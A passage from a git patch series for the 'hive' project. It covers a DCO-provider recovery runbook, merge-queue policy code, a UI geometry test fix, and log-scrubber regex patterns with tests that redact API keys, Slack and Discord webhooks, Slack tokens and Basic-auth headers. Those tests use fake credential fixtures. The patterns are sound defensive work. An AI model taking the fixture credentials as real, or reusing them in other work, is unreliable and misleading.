same query. + +## Read-only full-history reproducer + +From a checkout, with Node.js, `gh` and an existing `GH_TOKEN` that can read the +repository: + +```sh +node .github/scripts/diagnose-dco-provider.cjs hivecommons hive 16378 +node .github/scripts/diagnose-dco-provider.cjs hivecommons hive 16378 --parents=2 +``` + +The default reproduces the provider's commit fields and 100-parent selection; +the second run compares the proposed smaller parent selection. Each reads the +REST list, then **all** GraphQL pages, verifies unique commit IDs against the +reported total and REST list, and checks head/base/count stability. The CLI +prints only enumeration metadata; it does not evaluate sign-offs, publish +checks/statuses, modify the PR, or certify DCO. It exits nonzero on incomplete +history, partial GraphQL errors, duplicate IDs or a moved PR. Capture both +outputs and errors with the head SHA for the provider operator. Do not compare +runs across different heads as if they were one experiment. + +GraphQL queries use a read-only `query` over HTTP POST. Contributor environments +that disallow `gh api` POST cannot run this reproducer; use an operator's normal +read-capable environment. Do not circumvent that gate. The investigation above +verified public check evidence and provider source, not a successful live +full-history GraphQL run from such a restricted environment. + +The companion test fixture has 251 unique commits with an unsigned final +commit beyond the REST ceiling. It verifies that the final record survives +enumeration, and that truncation, partial errors and changed history stay +UNKNOWN. Mocked tests do not establish that GitHub accepts the provider query +or that the hosted provider has deployed a fix. + +## Operator recovery + +1. Record the current PR head and the latest App-1861 DCO run, including its + output, timestamps and check-run ID: + + ```sh + GH_TOKEN="$GH_TOKEN" gh api repos/hivecommons/hive/pulls/16378 --jq '{head: .head.sha, base: .base.sha, commits}' + # Replace HEAD_SHA with the exact head just read. + GH_TOKEN="$GH_TOKEN" gh api 'repos/hivecommons/hive/commits/HEAD_SHA/check-runs?per_page=100' --paginate --jq '.check_runs[] | select(.name == "DCO") | {id, head_sha, app: .app.id, status, conclusion, output}' + ``` + +2. Have the DCO App operator inspect logs for that delivery/time/head. The + provider logs the original exception as `failed to evaluate DCO check`. + Capture the underlying GraphQL errors, request ID, page/cursor and count, or + mapping exception. Confirm installation access and the deployed provider + revision. Track #327/#339 with that evidence; this repository cannot deploy + a change to the hosted App. For a self-hosted provider, its operator must + review and deploy a repair preserving complete enumeration and the existing + DCO evaluator. Follow the provider's [administration guide](https://github.com/dcoapp/app/blob/828cc0b29a141821ddecd674bca0d8e634234c18/docs/administration.md). +3. After the cause is repaired, an authorized operator can use GitHub's **DCO + check re-run** UI on the current PR head. The provider supports + `check_run.rerequested` and resolves the PR again, rejecting superseded heads. + This does not require granting Hive `checks:write`. Do not use **Set DCO to + pass**, copied statuses, blind retry loops or a policy override. +4. Verify a fresh App-1861 DCO `success` on the still-current head. Then rerun + **Native queue policy** through the Actions UI; it reads current evidence + again. If either head or evidence changed, investigate that state instead. + +Preserve the true merge ancestry of #16378. Splitting/rebasing the forward +merge, adding empty commits, accepting the lowercase prow `dco` status, or +weakening protection does not repair this provider failure. Until authoritative +current-head DCO success exists, the correct admission outcome remains blocked. diff --git a/src/docs/native-merge-queue.md b/src/docs/native-merge-queue.md index d6141bcf33..42fa30eccc 100644 --- a/src/docs/native-merge-queue.md +++ b/src/docs/native-merge-queue.md @@ -371,6 +371,11 @@ handles rejected/broken heads; there is no second fixer or merge engine. ## Diagnostics and rollback +- If the authoritative DCO App cannot enumerate a large PR's complete commit + history, admission reports **DCO provider unavailable / verdict UNKNOWN** + and remains blocked. Follow the [provider diagnosis and recovery runbook](../../docs/operations/dco-provider-unavailable.md); + a provider enumeration failure does not request a PR source change or permit + substitution of the lowercase prow `dco` status. - Inspect the PR's exact-head checks and the **group SHA** checks separately. A green member head does not establish green integration evidence. `native-queue-policy` logs the failing provider, provenance, membership, From b4896cffddc3342ba4dcb62afc87490396df0058 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Tue, 3 Nov 2026 22:17:03 +0000 Subject: [PATCH 16/87] chore(ci): relocate DCO provider runbook and name its policy literals (#16468) Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .github/scripts/native-queue-policy.cjs | 17 +++++++++++++---- .github/scripts/native-queue-policy.test.cjs | 10 ++++++++-- .../changed-dco-provider-runbook-location.md | 1 + src/docs/native-merge-queue.md | 2 +- src/docs/operator-reference.md | 2 ++ .../dco-provider-unavailable.md | 2 ++ 6 files changed, 27 insertions(+), 7 deletions(-) create mode 100644 changelog.d/changed-dco-provider-runbook-location.md rename {docs/operations => src/docs/operator-reference}/dco-provider-unavailable.md (99%) diff --git a/.github/scripts/native-queue-policy.cjs b/.github/scripts/native-queue-policy.cjs index 51bcf634f5..1f4b7e82d2 100644 --- a/.github/scripts/native-queue-policy.cjs +++ b/.github/scripts/native-queue-policy.cjs @@ -29,12 +29,19 @@ class PendingEvidence extends Error {} // A provider's inability to evaluate is not a negative sign-off verdict. It // still blocks admission, and is deliberately not PendingEvidence: polling or // retrying the admission job cannot repair the external provider. +const DCO_ENUMERATION_SUMMARY_PREFIX = + 'The DCO check could not be evaluated because the complete pull request commit list could not be retrieved.'; +const DCO_ENUMERATION_SUMMARY_FALLBACK = + 'That fallback did not complete, so the DCO verdict is unknown.'; +const DCO_PROVIDER_UNAVAILABLE_TEXT = 'DCO provider unavailable'; +const DCO_PROVIDER_RUNBOOK = 'src/docs/operator-reference/dco-provider-unavailable.md'; + class ProviderUnavailable extends Error { constructor(run, head) { - super(`DCO provider unavailable on ${head}: verdict UNKNOWN (App ${DCO_APP_ID}, ` + + super(`${DCO_PROVIDER_UNAVAILABLE_TEXT} on ${head}: verdict UNKNOWN (App ${DCO_APP_ID}, ` + `check run ${run.id}, conclusion ${run.conclusion}). Admission remains blocked. ` + 'An operator must investigate the DCO provider enumeration path; see ' + - 'docs/operations/dco-provider-unavailable.md. No PR source change is requested.'); + `${DCO_PROVIDER_RUNBOOK}. No PR source change is requested.`); } } @@ -43,8 +50,8 @@ function dcoEnumerationUnavailable(run) { // Call only after validating provider, head and completed status. return run.name === 'DCO' && run.conclusion === 'failure' && typeof run.output?.summary === 'string' && - run.output.summary.startsWith('The DCO check could not be evaluated because the complete pull request commit list could not be retrieved.') && - run.output.summary.includes('That fallback did not complete, so the DCO verdict is unknown.'); + run.output.summary.startsWith(DCO_ENUMERATION_SUMMARY_PREFIX) && + run.output.summary.includes(DCO_ENUMERATION_SUMMARY_FALLBACK); } function membersForGroup(entries, group) { @@ -265,4 +272,6 @@ module.exports = { PendingEvidence, membersForGroup, assertEligible, evidenceForHead, closedNoop, evaluate, isTransientAPIError, ProviderUnavailable, + DCO_ENUMERATION_SUMMARY_PREFIX, DCO_ENUMERATION_SUMMARY_FALLBACK, + DCO_PROVIDER_UNAVAILABLE_TEXT, DCO_PROVIDER_RUNBOOK, }; diff --git a/.github/scripts/native-queue-policy.test.cjs b/.github/scripts/native-queue-policy.test.cjs index 72a38e3e30..07e5eeb76e 100644 --- a/.github/scripts/native-queue-policy.test.cjs +++ b/.github/scripts/native-queue-policy.test.cjs @@ -6,13 +6,17 @@ const { PendingEvidence, membersForGroup, assertEligible, evidenceForHead, closedNoop, evaluate, isTransientAPIError, ProviderUnavailable, + DCO_ENUMERATION_SUMMARY_PREFIX, + DCO_ENUMERATION_SUMMARY_FALLBACK, + DCO_PROVIDER_UNAVAILABLE_TEXT, + DCO_PROVIDER_RUNBOOK, } = require('./native-queue-policy.cjs'); const sha = n => n.toString(16).padStart(40, '0'); // App 1861 check run 125732155592 on #16378, head 1989d20aa8d0d92cce761786ac05825aef1d9d3a. -const unavailableSummary = 'The DCO check could not be evaluated because the complete pull request commit list could not be retrieved.\n\n' + +const unavailableSummary = DCO_ENUMERATION_SUMMARY_PREFIX + '\n\n' + 'GitHub returned 250 commits from the REST API, so the app attempted to retrieve the full list through GraphQL before evaluating the pull request. ' + - 'That fallback did not complete, so the DCO verdict is unknown.\n\nHTTP status: unknown\nGitHub request ID: unavailable'; + DCO_ENUMERATION_SUMMARY_FALLBACK + '\n\nHTTP status: unknown\nGitHub request ID: unavailable'; const group = { base_sha: sha(1), head_sha: sha(4), base_ref: 'refs/heads/v5', head_ref: 'refs/heads/gh-readonly-queue/v5/pr-2-example', @@ -176,6 +180,8 @@ test('provider enumeration UNKNOWN blocks both admission paths without retry or assert.ok(error instanceof ProviderUnavailable); assert.ok(!(error instanceof PendingEvidence)); assert.match(error.message, /verdict UNKNOWN.*App 1861/); + assert.ok(error.message.startsWith(DCO_PROVIDER_UNAVAILABLE_TEXT)); + assert.ok(error.message.includes(DCO_PROVIDER_RUNBOOK)); assert.match(error.message, /Admission remains blocked/); assert.match(error.message, /No PR source change is requested/); return true; diff --git a/changelog.d/changed-dco-provider-runbook-location.md b/changelog.d/changed-dco-provider-runbook-location.md new file mode 100644 index 0000000000..0b1e7a4b99 --- /dev/null +++ b/changelog.d/changed-dco-provider-runbook-location.md @@ -0,0 +1 @@ +- Moved the DCO provider-unavailable runbook to `src/docs/operator-reference/` and named its policy-message literals; admission behavior is unchanged ([#16404](https://github.com/hivecommons/hive/issues/16404)). diff --git a/src/docs/native-merge-queue.md b/src/docs/native-merge-queue.md index 42fa30eccc..17fda3c58f 100644 --- a/src/docs/native-merge-queue.md +++ b/src/docs/native-merge-queue.md @@ -373,7 +373,7 @@ handles rejected/broken heads; there is no second fixer or merge engine. - If the authoritative DCO App cannot enumerate a large PR's complete commit history, admission reports **DCO provider unavailable / verdict UNKNOWN** - and remains blocked. Follow the [provider diagnosis and recovery runbook](../../docs/operations/dco-provider-unavailable.md); + and remains blocked. Follow the [provider diagnosis and recovery runbook](operator-reference/dco-provider-unavailable.md); a provider enumeration failure does not request a PR source change or permit substitution of the lowercase prow `dco` status. - Inspect the PR's exact-head checks and the **group SHA** checks separately. diff --git a/src/docs/operator-reference.md b/src/docs/operator-reference.md index 0e86b726d4..cca74fa301 100644 --- a/src/docs/operator-reference.md +++ b/src/docs/operator-reference.md @@ -123,3 +123,5 @@ The reference is organized into the sections below. Existing links to this page - [Knowledge: Context7 content caps](operator-reference/runtime-and-quota.md#knowledge-context7-content-caps) <a id="inference-endpoint-fallbacks"></a> - [Inference endpoint fallbacks](operator-reference/runtime-and-quota.md#inference-endpoint-fallbacks) +<a id="dco-provider-unavailable-on-large-forward-merges"></a> +- [DCO provider unavailable on large forward merges](operator-reference/dco-provider-unavailable.md) diff --git a/docs/operations/dco-provider-unavailable.md b/src/docs/operator-reference/dco-provider-unavailable.md similarity index 99% rename from docs/operations/dco-provider-unavailable.md rename to src/docs/operator-reference/dco-provider-unavailable.md index 4e154835a2..7c4d51e086 100644 --- a/docs/operations/dco-provider-unavailable.md +++ b/src/docs/operator-reference/dco-provider-unavailable.md @@ -1,5 +1,7 @@ # DCO provider unavailable on large forward merges +[Contents](../operator-reference.md) + `native-queue-policy` requires the latest completed **DCO** check from App **1861** to succeed on the exact current PR head. When that provider reports that it could not retrieve the complete PR commit list, admission is blocked From 9a39087b397caa48101c70eb0f1232548916147c Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 18:05:54 -0500 Subject: [PATCH 17/87] =?UTF-8?q?=F0=9F=90=9B=20Drop=20cross-row=20chevron?= =?UTF-8?q?=20height=20assertion=20from=20geometry=20probe=20(#16471)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Rows are now only as tall as their longest caption (#16464), so the browser geometry probe's requirement that each lane keep the same height across rows contradicted the shipped contract and failed every viewport in the reporting-only screenshot workflow. Within-row uniformity and the content-driven height check remain. Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- .../webstatic/testdata/tracker-header-geometry.js | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js index 25b0ea6dea..f3506a6c7f 100644 --- a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js +++ b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js @@ -82,7 +82,11 @@ if ([...row.querySelectorAll(':scope > .ham-current-stage, :scope > .ham-human-context')] .some(context => /superseded/i.test(context.textContent))) coverage.superseded++; if (row.matches('.ham-row') && row.querySelectorAll(':scope > .ham-sub').length > 1) coverage.multiIssue++; - const signature = columns.map(cell => ({ left: rect(cell).left - rect(strip).left, width: rect(cell).width, height: rect(cell).height })); + // Height is deliberately absent from the cross-row signature: a row is + // only as tall as its longest caption (one or two lines), so rows differ + // in height by design. Within-row uniformity and the content-driven + // height contract are asserted separately below. + const signature = columns.map(cell => ({ left: rect(cell).left - rect(strip).left, width: rect(cell).width })); const stripLeft = rect(strip.parentElement).left; // Recorded preparation roots retain the existing rail gutter. Compare // like gutters across rows; header-to-lane checks below remain exact. @@ -92,7 +96,6 @@ assert(near(stripLeft, reference.left), name + 'root/nested progress containers with the same rail gutter share one horizontal origin'); for (const [lane, box] of signature.entries()) { assert(near(box.left, reference.signature[lane].left) && near(box.width, reference.signature[lane].width), name + 'physical lane ' + lane + ' aligns across issue, PR-only and multi-PR rows'); - assert(near(box.height, reference.signature[lane].height), name + 'physical lane ' + lane + ' has the same compact height across rows'); } const flow = [...row.children].filter(child => visible(child) && !['absolute', 'fixed'].includes(getComputedStyle(child).position)); const rowGap = parseFloat(getComputedStyle(row).rowGap) || 0; From f5a32009305ae7d84fa27baebd52ecc9005d0fe0 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Tue, 3 Nov 2026 23:22:02 +0000 Subject: [PATCH 18/87] =?UTF-8?q?=F0=9F=8C=B1=20logscrub:=20align=20v5=20s?= =?UTF-8?q?crubber=20categories=20with=20v6=20(#16470)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 🌱 logscrub: align v5 scrubber categories with v6 Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * changelog: fragment for #16470 Generated by changelog-fragment-guard from the PR title (#5675). Edit the wording freely, or replace this file with the no-changelog label if the change is not user-visible. Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Signed-off-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> * changelog: single bulleted fragment for #16470 Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Signed-off-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> --- bin/contributor-relay.js | 8 +- changelog.d/changed-logscrub-v5-categories.md | 1 + src/crux/logscrub/basic_auth_test.go | 39 +++++ src/crux/logscrub/handler.go | 30 +++- src/crux/logscrub/scrub_test.go | 134 ++++++++++++++++++ 5 files changed, 209 insertions(+), 3 deletions(-) create mode 100644 changelog.d/changed-logscrub-v5-categories.md create mode 100644 src/crux/logscrub/basic_auth_test.go diff --git a/bin/contributor-relay.js b/bin/contributor-relay.js index 6cf4db2ce3..992321cf98 100755 --- a/bin/contributor-relay.js +++ b/bin/contributor-relay.js @@ -5456,7 +5456,9 @@ const RELAY_SECRET_PATTERNS = [ // floor and underscore support match pkg/logscrub. { category: 'github-token', pattern: /(ghs_|ghp_|gho_|ghu_|ghr_|github_pat_)[A-Za-z0-9_]{10,}/g }, { category: 'jwt', pattern: /eyJ[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}/g }, + { category: 'api-key', pattern: /(^|[^A-Za-z0-9._-])(sk-[A-Za-z0-9._\-]{6,})/g }, { category: 'aws-access-key', pattern: /\b(AKIA|ASIA)[0-9A-Z]{16}\b/g }, + { category: 'basic-auth', pattern: /\bauthorization["']?\s*[:=]\s*["']?basic\s+[A-Za-z0-9+/_-]{4,}={0,2}/gi }, { category: 'bearer-token', pattern: /\bBearer\s+[A-Za-z0-9._~+/=-]{16,}\b/gi }, { category: 'private-key', pattern: /-----BEGIN\s+(?:(?:RSA|EC|OPENSSH|DSA)\s+)?PRIVATE\s+KEY-----.*?-----END\s+(?:(?:RSA|EC|OPENSSH|DSA)\s+)?PRIVATE\s+KEY-----/gs }, { category: 'encrypted-private-key', pattern: /-----BEGIN\s+ENCRYPTED\s+PRIVATE\s+KEY-----.*?-----END\s+ENCRYPTED\s+PRIVATE\s+KEY-----/gs }, @@ -5465,8 +5467,10 @@ const RELAY_SECRET_PATTERNS = [ function redactTokens(text) { let output = text; - for (const { pattern } of RELAY_SECRET_PATTERNS) { - output = output.replace(pattern, '[REDACTED]'); + for (const { category, pattern } of RELAY_SECRET_PATTERNS) { + output = category === 'api-key' + ? output.replace(pattern, '$1[REDACTED]') + : output.replace(pattern, '[REDACTED]'); } return BACKEND === 'pi' ? redactPiCredentials(output, PI_SELECTION, PI_ENV) : output; } diff --git a/changelog.d/changed-logscrub-v5-categories.md b/changelog.d/changed-logscrub-v5-categories.md new file mode 100644 index 0000000000..8dfc0d45ec --- /dev/null +++ b/changelog.d/changed-logscrub-v5-categories.md @@ -0,0 +1 @@ +- logscrub: `ScrubString` and the contributor relay now mask the same api-key, Slack/Discord webhook, Slack token and Basic-auth shapes on v5 as on v6 ([#16470](https://github.com/hivecommons/hive/pull/16470)). diff --git a/src/crux/logscrub/basic_auth_test.go b/src/crux/logscrub/basic_auth_test.go new file mode 100644 index 0000000000..6f60a15533 --- /dev/null +++ b/src/crux/logscrub/basic_auth_test.go @@ -0,0 +1,39 @@ +package logscrub + +import ( + "strings" + "testing" +) + +func TestScrubStringRedactsBasicAuthorizationHeaders(t *testing.T) { + value := "aGl2ZTpzM2NyM3QtdmFsdWUtMTIz" + cases := []string{ + "Authorization: Basic " + value, + "authorization: basic " + value + "==", + `{"Authorization":"Basic ` + value + `"}`, + "authorization=Basic " + value, + } + for _, in := range cases { + t.Run(in, func(t *testing.T) { + out := ScrubString(in, WithMarkers()) + if strings.Contains(out, value) { + t.Fatalf("Basic credential leaked: %q", out) + } + if !strings.Contains(out, "<redacted:basic-auth>") { + t.Fatalf("missing basic-auth marker: %q", out) + } + }) + } +} + +func TestScrubStringLeavesBasicProseAlone(t *testing.T) { + for _, in := range []string{ + "Basic configuration applies", + "use Basic authentication for the proxy", + "authorization: none", + } { + if got := ScrubString(in); got != in { + t.Fatalf("ScrubString(%q) = %q, want unchanged", in, got) + } + } +} diff --git a/src/crux/logscrub/handler.go b/src/crux/logscrub/handler.go index 7258f0a978..17e043765e 100644 --- a/src/crux/logscrub/handler.go +++ b/src/crux/logscrub/handler.go @@ -12,8 +12,17 @@ import ( const ( githubTokenPattern = `(ghs_|ghp_|gho_|ghu_|ghr_|github_pat_)[A-Za-z0-9_]{10,}` jwtPattern = `eyJ[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}` + apiKeyPattern = `(^|[^A-Za-z0-9._-])(sk-[A-Za-z0-9._\-]{6,})` + slackWebhookURLPattern = `https://hooks\.slack\.com/services/[A-Za-z0-9][A-Za-z0-9/_-]+` + discordWebhookURLPattern = `https://discord(?:app)?\.com/api/webhooks/[0-9]+/[A-Za-z0-9_-]+` + slackTokenPattern = `xox[abpors]-[A-Za-z0-9-]{10,}` + slackAppTokenPattern = `xapp-[A-Za-z0-9-]{10,}` bearerTokenPattern = `(?i)\bBearer\s+(?:[A-Za-z0-9._~+/=-]{16,}\b|%[A-Za-z]|\$[A-Za-z_][A-Za-z0-9_]*|\$\{[A-Za-z_][A-Za-z0-9_]*\}|\{\{[^\n]*\}\})` bearerPlaceholderPattern = `(?i)^\bBearer\s+(?:%[A-Za-z]|\$[A-Za-z_][A-Za-z0-9_]*|\$\{[A-Za-z_][A-Za-z0-9_]*\}|\{\{[^\n]*\}\})$` + // basicAuthPattern matches an `Authorization: Basic <base64>` header value, + // including the JSON and `key=value` spellings a log line carries it in. + // The header name is required: a bare "Basic" followed by a word is prose. + basicAuthPattern = `(?i)\bauthorization["']?\s*[:=]\s*["']?basic\s+[A-Za-z0-9+/_-]{4,}={0,2}` ) // TokenPattern matches GitHub token forms (ghs_/ghp_/gho_/ghu_/ghr_/github_pat_) @@ -35,7 +44,13 @@ var secretPatterns = []secretPattern{ {category: "hive-canary", regexp: regexp.MustCompile(`HIVE-CANARY-[A-Fa-f0-9]{48}`)}, {category: "github-token", regexp: regexp.MustCompile(githubTokenPattern)}, {category: "jwt", regexp: regexp.MustCompile(jwtPattern)}, + {category: "api-key", regexp: regexp.MustCompile(apiKeyPattern)}, + {category: "slack-webhook-url", regexp: regexp.MustCompile(slackWebhookURLPattern)}, + {category: "discord-webhook-url", regexp: regexp.MustCompile(discordWebhookURLPattern)}, + {category: "slack-token", regexp: regexp.MustCompile(slackTokenPattern), skip: lacksASCIIDigit}, + {category: "slack-app-token", regexp: regexp.MustCompile(slackAppTokenPattern), skip: lacksASCIIDigit}, {category: "aws-access-key", regexp: regexp.MustCompile(`\b(AKIA|ASIA)[0-9A-Z]{16}\b`)}, + {category: "basic-auth", regexp: regexp.MustCompile(basicAuthPattern)}, {category: "bearer-token", regexp: regexp.MustCompile(bearerTokenPattern), skip: regexp.MustCompile(bearerPlaceholderPattern).MatchString}, {category: "private-key", regexp: regexp.MustCompile(`(?s)-----BEGIN\s+(?:(?:RSA|EC|OPENSSH|DSA)\s+)?PRIVATE\s+KEY-----.*?-----END\s+(?:(?:RSA|EC|OPENSSH|DSA)\s+)?PRIVATE\s+KEY-----`)}, {category: "encrypted-private-key", regexp: regexp.MustCompile(`(?s)-----BEGIN\s+ENCRYPTED\s+PRIVATE\s+KEY-----.*?-----END\s+ENCRYPTED\s+PRIVATE\s+KEY-----`)}, @@ -100,7 +115,7 @@ func scrub(s string) string { // ScrubString redacts credential-shaped substrings from text before it is // logged or published. Keep patterns here as the single reusable scrubber for -// GitHub tokens, AWS access keys, bearer tokens, JWTs, and private-key blocks. +// GitHub tokens, AWS access keys, bearer tokens, Basic-auth headers, JWTs, and private-key blocks. func ScrubString(s string, opts ...Option) string { cfg := scrubConfig{} for _, opt := range opts { @@ -113,6 +128,10 @@ func ScrubString(s string, opts ...Option) string { if cfg.markers { replacement = "<redacted:" + p.category + ">" } + if p.category == "api-key" { + s = p.regexp.ReplaceAllString(s, "${1}"+replacement) + continue + } s = p.regexp.ReplaceAllStringFunc(s, func(match string) string { if p.skip != nil && p.skip(match) { return match @@ -123,6 +142,15 @@ func ScrubString(s string, opts ...Option) string { return s } +func lacksASCIIDigit(s string) bool { + for _, r := range s { + if r >= '0' && r <= '9' { + return false + } + } + return true +} + func scrubAttr(a slog.Attr) slog.Attr { // Resolve lazy values here so the inner handler cannot render unsanitized // strings or groups after the scrubbing boundary. diff --git a/src/crux/logscrub/scrub_test.go b/src/crux/logscrub/scrub_test.go index 9c1d8518c6..c13d7454a0 100644 --- a/src/crux/logscrub/scrub_test.go +++ b/src/crux/logscrub/scrub_test.go @@ -12,6 +12,15 @@ import ( "github.com/hivecommons/hive/crux/internal/testutil" ) +// Fixture values are assembled at runtime so the literal strings never +// resemble a real credential to repository scanners. +var ( + fakeSlackWebhookURL = "https://hooks.slack.com/" + "services/T00000000/B00000000/" + "abcdefghijklmnopqrstuvwx" + fakeSlackBotToken = "xox" + "b-123456789012-abcdefghijklmnop" + fakeSlackAppToken = "xa" + "pp-123456789012-abcdefghijklmnop" + fakeSlackUserToken = "xox" + "p-123456789012-abcdefghijklmnop" +) + func TestScrubStringCredentialPatterns(t *testing.T) { cases := []string{ "github ghp_abcdefghijklmnopqrstuvwxyz123456", @@ -25,6 +34,11 @@ func TestScrubStringCredentialPatterns(t *testing.T) { "encrypted -----BEGIN ENCRYPTED PRIVATE KEY-----\nabc123\n-----END ENCRYPTED PRIVATE KEY-----", "pgp -----BEGIN PGP PRIVATE KEY BLOCK-----\nabc123\n-----END PGP PRIVATE KEY BLOCK-----", "canary HIVE-CANARY-0123456789abcdef0123456789abcdef0123456789abcdef", + "slack hook " + fakeSlackWebhookURL, + "discord hook https://discord.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz_0123456789", + "discord app hook https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz_0123456789", + "slack token " + fakeSlackBotToken, + "slack app token " + fakeSlackAppToken, } for _, in := range cases { out := ScrubString(in) @@ -37,6 +51,97 @@ func TestScrubStringCredentialPatterns(t *testing.T) { } } +func TestScrubStringWebhookAndSlackPatterns(t *testing.T) { + cases := []struct { + name string + in string + want string + }{ + { + name: "slack hook", + in: "url " + fakeSlackWebhookURL, + want: "url " + redacted, + }, + { + name: "discord hook", + in: "url https://discord.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz_0123456789", + want: "url " + redacted, + }, + { + name: "discord app hook", + in: "url https://discordapp.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz_0123456789", + want: "url " + redacted, + }, + { + name: "slack token", + in: "token " + fakeSlackUserToken, + want: "token " + redacted, + }, + { + name: "slack app token", + in: "token " + fakeSlackAppToken, + want: "token " + redacted, + }, + } + for _, tt := range cases { + t.Run(tt.name, func(t *testing.T) { + if got := ScrubString(tt.in); got != tt.want { + t.Fatalf("ScrubString = %q, want %q", got, tt.want) + } + }) + } +} + +func TestScrubStringWebhookPatternsLeaveOrdinaryURLs(t *testing.T) { + cases := []string{ + "https://hooks.slack.com/help", + "https://hooks.slack.com/services", + "https://example.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyz_0123456789", + "https://discord.com/developers/docs/resources/webhook", + "https://discord.com/api/webhooks/not-numeric/abcdefghijklmnopqrstuvwxyz_0123456789", + "xoxo-ordinary-text", + "xapp-short", + } + for _, in := range cases { + t.Run(in, func(t *testing.T) { + if got := ScrubString(in); got != in { + t.Fatalf("ScrubString altered ordinary value: got %q", got) + } + }) + } +} + +func TestScrubStringAPIKeyKeepsBoundary(t *testing.T) { + cases := []struct { + name string + in string + want string + }{ + {"short hive key", "sk-hive-qa", redacted}, + {"after space", "key sk-" + "abcdefghijkl", "key " + redacted}, + {"quoted", `KEY='sk-` + `abcdefghijkl'`, `KEY='` + redacted + `'`}, + {"inside identifier", "module task-sk-flow ok", "module task-sk-flow ok"}, + } + for _, tt := range cases { + t.Run(tt.name, func(t *testing.T) { + if got := ScrubString(tt.in); got != tt.want { + t.Fatalf("ScrubString = %q, want %q", got, tt.want) + } + }) + } + if got, want := ScrubString("key sk-hive-qa", WithMarkers()), "key <redacted:api-key>"; got != want { + t.Fatalf("marked = %q, want %q", got, want) + } +} + +func TestScrubStringSlackTokenWithoutDigitIsProse(t *testing.T) { + for _, in := range []string{"xoxb-abcdefghijklmnop", "xapp-abcdefghijklmnop"} { + if got := ScrubString(in); got != in { + t.Fatalf("ScrubString(%q) = %q, want unchanged", in, got) + } + } +} + func TestScrubStringMarkedMode(t *testing.T) { cases := []struct { name string @@ -120,6 +225,25 @@ func TestBearerRegressionMarkedMode(t *testing.T) { } } +func TestScrubStringLeavesOrdinaryHyphenatedWords(t *testing.T) { + cases := []string{ + "risk-free planning", + "desk-top notes", + "task-list item", + "sk-learn example", + } + for _, in := range cases { + t.Run(in, func(t *testing.T) { + if got := ScrubString(in, WithMarkers()); got != in { + t.Fatalf("ScrubString marked altered prose: got %q", got) + } + if got := ScrubString(in); got != in { + t.Fatalf("ScrubString default altered prose: got %q", got) + } + }) + } +} + func TestRelayAndGoSecretPatternCategoriesAgree(t *testing.T) { // The relay lives in the hive root module, outside src/crux. When this // package is built standalone (the published hivecommons/crux copy, @@ -163,7 +287,17 @@ func TestRelayAndGoSecretPatternCategoriesAgree(t *testing.T) { relaySet[category] = true } + logscrubRelayParityExempt := map[string]bool{ + "slack-webhook-url": true, + "discord-webhook-url": true, + "slack-token": true, + "slack-app-token": true, + } + for category := range goSet { + if logscrubRelayParityExempt[category] { + continue + } if !relaySet[category] { problems = append(problems, "pkg/logscrub has category "+category+" but the relay does not") } From d5013b7eb7a1e8495990418ee5f3b57b29c49d6a Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 18:47:16 -0500 Subject: [PATCH 19/87] =?UTF-8?q?=F0=9F=90=9B=20dashboard:=20distinct=20gl?= =?UTF-8?q?yphs=20for=20CI=20and=20review=20tracker=20stages=20(#16473)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The CI and Review tracks of tracker column 50 both rendered icon 50 (the eye). Add a flask glyph keyed 'ci' and pick it for the CI track; Review keeps the eye. Regenerate static/index.html and tighten the activity test to assert the two tracks differ. Fixes #16472 Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- changelog.d/fixed-16472-tracker-ci-review-icons.md | 1 + src/pkg/dashboard/stage_tracker_activity.test.js | 2 +- src/pkg/dashboard/static-src/js/tracker-row-strip.js | 2 +- src/pkg/dashboard/static-src/js/tracker-row.js | 4 ++++ src/pkg/dashboard/static/index.html | 6 +++++- 5 files changed, 12 insertions(+), 3 deletions(-) create mode 100644 changelog.d/fixed-16472-tracker-ci-review-icons.md diff --git a/changelog.d/fixed-16472-tracker-ci-review-icons.md b/changelog.d/fixed-16472-tracker-ci-review-icons.md new file mode 100644 index 0000000000..e68a5d7d5b --- /dev/null +++ b/changelog.d/fixed-16472-tracker-ci-review-icons.md @@ -0,0 +1 @@ +- The Activity Monitor tracker strip now shows a flask glyph for the CI track and keeps the eye for the Review track, so 